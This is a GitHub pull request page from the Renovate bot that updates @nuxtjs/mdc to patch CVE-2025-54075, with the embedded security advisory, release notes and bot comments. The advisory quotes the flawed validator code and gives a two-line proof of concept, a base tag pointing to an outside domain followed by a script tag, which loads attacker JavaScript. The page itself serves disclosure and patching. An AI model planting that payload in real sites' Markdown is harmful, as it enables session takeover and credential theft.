core icon indicating copy to clipboard operation
core copied to clipboard

chore(deps): update dependency @nuxtjs/mdc to v0.17.2 [security]

Open renovate[bot] opened this issue 4 months ago • 3 comments

This PR contains the following updates:

Package Change Age Confidence
@nuxtjs/mdc 0.17.0 -> 0.17.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-54075

Summary

A remote script-inclusion / stored XSS vulnerability in @​nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

  • Affected file : src/runtime/parser/utils/props.ts
  • Core logic  : validateProp() inspects
    • attributes that start with on → blocked
    • href or src → filtered by isAnchorLinkAllowed()
      Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.
export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) return false
  if (attribute === 'href' || attribute === 'src') {
    return isAnchorLinkAllowed(value)
  }
  return true               // ← “href” on <base> not checked
}

As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

<base href="https://vozec.fr">
<script src="/xss.js"></script>
  1. Start the Nuxt app (npm run dev).
  2. Visit the page.
  3. The browser requests https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Impact

  • Type: Stored XSS via remote script inclusion
  • Affected apps: Any Nuxt project using @​nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
  • Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Recommendations

  1. Disallow or sanitize <base> tags in the renderer. The safest fix is to strip them entirely.
  2. Alternatively, restrict href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin.
  3. Publish a patched release and document the security fix.
  4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with FORBID_TAGS: ['base'].

Release Notes

nuxt-modules/mdc (@​nuxtjs/mdc)

v0.17.2

Compare Source

compare changes

🏡 Chore
✅ Tests
  • Binding component spacing (ec49505)
❤️ Contributors

v0.17.1

Compare Source

compare changes

🩹 Fixes
  • Detect mdcUnwrap on slots too (#​388)
  • Also check for nuxt-nightly path (#​401)
🏡 Chore
❤️ Contributors

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • [ ] If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate[bot] avatar Jul 20 '25 17:07 renovate[bot]

Deploying playground with  Cloudflare Pages  Cloudflare Pages

Latest commit: 1e080ff
Status: ✅  Deploy successful!
Preview URL: https://49ce4013.playground-bhb.pages.dev
Branch Preview URL: https://renovate-npm-nuxtjs-mdc-vuln.playground-bhb.pages.dev

View logs

npm i https://pkg.pr.new/@nuxthub/core@633

commit: 1e080ff

pkg-pr-new[bot] avatar Jul 20 '25 18:07 pkg-pr-new[bot]

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

renovate[bot] avatar Jul 20 '25 20:07 renovate[bot]